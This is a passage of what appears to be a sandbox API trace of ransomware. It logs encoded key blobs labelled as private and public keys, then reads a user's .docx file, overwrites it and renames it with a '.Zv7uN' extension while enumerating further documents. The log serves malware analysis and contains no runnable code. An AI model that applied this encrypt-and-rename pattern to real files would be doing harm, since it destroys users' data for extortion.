hxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.077] GetCurrentThreadId () returned 0xa30 [0088.077] GetCurrentThreadId () returned 0xa30 [0088.077] GetCurrentThreadId () returned 0xa30 [0088.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.078] GetCurrentThreadId () returned 0xa30 [0088.078] GetCurrentThreadId () returned 0xa30 [0088.078] GetCurrentThreadId () returned 0xa30 [0088.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-DpF-3V_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-dpf-3v_.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.078] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.079] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.079] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x5434 [0088.079] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.079] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x5434, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x5434, lpOverlapped=0x0) returned 1 [0088.081] CloseHandle (hObject=0x124) returned 1 [0088.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-DpF-3V_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-dpf-3v_.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.084] WriteFile (in: hFile=0x124, lpBuffer=0x1ef6040*, nNumberOfBytesToWrite=0x5434, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef6040*, lpNumberOfBytesWritten=0x18f978*=0x5434, lpOverlapped=0x0) returned 1 [0088.086] CloseHandle (hObject=0x124) returned 1 [0088.088] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-DpF-3V_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-dpf-3v_.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-DpF-3V_.docx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-dpf-3v_.docx.zv7un")) returned 1 [0088.089] GetCurrentThreadId () returned 0xa30 [0088.089] GetCurrentThreadId () returned 0xa30 [0088.089] GetCurrentThreadId () returned 0xa30 [0088.089] GetCurrentThreadId () returned 0xa30 [0088.089] GetCurrentThreadId () returned 0xa30 [0088.089] GetCurrentThreadId () returned 0xa30 [0088.089] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe95820, ftCreationTime.dwHighDateTime=0x1d57aa6, ftLastAccessTime.dwLowDateTime=0xb66860d0, ftLastAccessTime.dwHighDateTime=0x1d59b15, ftLastWriteTime.dwLowDateTime=0xb66860d0, ftLastWriteTime.dwHighDateTime=0x1d59b15, nFileSizeHigh=0x0, nFileSizeLow=0x15b5e, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="-s mpTOnNpWunebm.docx", cAlternateFileName="-SMPTO~1.DOC")) returned 1 [0088.089] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.090] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-s mpTOnNpWunebm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-s mptonnpwunebm.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe95820, ftCreationTime.dwHighDateTime=0x1d57aa6, ftLastAccessTime.dwLowDateTime=0xb66860d0, ftLastAccessTime.dwHighDateTime=0x1d59b15, ftLastWriteTime.dwLowDateTime=0xb66860d0, ftLastWriteTime.dwHighDateTime=0x1d59b15, nFileSizeHigh=0x0, nFileSizeLow=0x15b5e)) returned 1 [0088.090] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-s mpTOnNpWunebm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-s mptonnpwunebm.docx")) returned 0x20 [0088.090] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-s mpTOnNpWunebm.docx", dwFileAttributes=0x80) returned 1 [0088.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496e